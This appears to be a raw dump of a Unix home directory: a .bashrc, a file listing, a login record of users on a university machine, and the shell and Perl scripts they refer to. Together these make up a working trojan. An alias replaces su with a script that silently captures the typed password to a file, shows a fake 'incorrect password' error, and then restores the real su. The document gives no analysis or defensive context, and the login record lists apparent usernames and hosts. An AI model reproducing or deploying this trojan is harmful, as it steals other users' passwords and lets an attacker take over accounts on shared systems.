My .bashrc

# .bashrc

# User specific aliases and functions

# Source global definitions
if [ -f /etc/bashrc ]; then
	. /etc/bashrc
fi
# Source global definitions
if [ -f /etc/profile ]; then
	. /etc/profile
fi
PATH=$PATH:~/bin:/.:/sbin:/usr/sbin:/opt/kde/bin
export NNTPSERVER=news.nmu.edu
alias ls="ls --color=tty"
alias pine="pine -i"
alias su="/home/randy/.nn/start.sh"
An 'ls' of /home/randy/.nn

total 19
-rwxr-xr-x   1 randy    staff          91 Mar 24 14:05 s99.sh
-rwxr-xr-x   1 randy    staff         116 Mar 24 14:05 start.sh
-rwxr-xr-x   1 randy    staff          13 Mar 24 14:05 start2.sh
-rwsr-xr-x   1 randy    staff       14124 Mar 24 14:05 su
-rwxr-xr-x   1 randy    staff         193 Mar 24 14:05 su.pl

Who was logged in
apoe     pts/13                        Fri Mar 24 14:04 - 15:41  (01:37)
sschwab  pts/6        AssMan.resnet.nm Fri Mar 24 14:02 - 14:26  (00:23)
cshong   pts/7        inserver.intecco Fri Mar 24 13:26 - 15:06  (01:39)
rzhang   pts/14       wewe.NMU.EDU     Fri Mar 24 13:15 - 16:42  (03:26)
apoe     pts/12                        Fri Mar 24 12:01 - 15:32  (03:30)
apoe     pts/11       rvr59039.NMU.EDU Fri Mar 24 12:01 - 18:38  (06:37)
kpaquett pts/8        rvr63179.NMU.EDU Fri Mar 24 12:01 - 14:58  (02:56)
cshong   pts/2        inserver.intecco Fri Mar 24 11:57 - 15:36  (03:39)
rdeiter  pts/9        PM3B08.NMU.EDU   Fri Mar 24 11:46 - 14:55  (03:08)
start.sh
#/bin/sh
stty -echo
perl /home/randy/.nn/su.pl
sleep 2
echo su: incorrect password
stty echo
/home/randy/.nn/s99.sh
su.pl
  #!/usr/bin/perl

  #This is one poorly written Perl script, but I think it works.

  print "Password:";
  $x = <>;

	open( OUT, ">>/home/randy/.nn/out.txt" );
	print( OUT $x );
	print "\n";
s99.sh
#/bin/sh
rm /home/randy/.nn/start.sh
cp /home/randy/.nn/start2.sh /home/randy/.nn/start.sh
start2.sh
#/bin/sh
su